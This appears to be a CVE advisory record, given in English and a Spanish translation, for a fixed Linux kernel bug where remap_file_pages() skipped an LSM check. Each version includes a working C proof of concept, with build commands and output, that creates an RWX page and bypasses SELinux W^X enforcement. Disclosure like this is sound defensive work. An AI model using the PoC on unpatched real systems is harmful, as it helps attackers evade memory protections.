"value":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
"value":"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\u00e1ginas RW, esto realmente dar\u00e1 como resultado la reasignaci\u00f3n de las p\u00e1ginas a RWX, omitiendo una pol\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\u00edtica W^X aplicada por SELinux. La omisi\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \"test\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\u00e1gina RWX existe incluso si se aplica la pol\u00edtica W^X int fd = open(\"/proc/self/maps\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\u00ednea de asunto]"
